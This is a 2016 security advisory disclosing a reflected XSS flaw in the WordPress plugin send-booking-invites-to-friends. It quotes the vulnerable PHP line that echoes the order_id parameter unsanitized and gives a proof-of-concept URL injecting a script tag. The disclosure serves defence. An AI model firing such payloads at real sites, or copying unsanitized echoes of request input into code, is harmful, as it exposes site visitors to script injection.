Advisory #: 340
Title: Reflected XSS in wordpress plugin send-booking-invites-to-friends v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/send-booking-invites-to-friends
Downloads: 56
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: send-booking-invites-to-friends
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./send-booking-invites-to-friends/request-friend.php: 157: <input type="button" class="button" id="send_friend" name="send_friend" value="<?php _e( 'SEND TO A FRIEND', 'bkap-send-to-friend' ); ?>" onclick="bkap_send_email(<?php echo $_GET['order_id'];?>)" /> The variable order_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./send-booking-invites-to-friends/request-friend.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/send-booking-invites-to-friends/request-friend.php?order_id="><script>alert(1);</script><"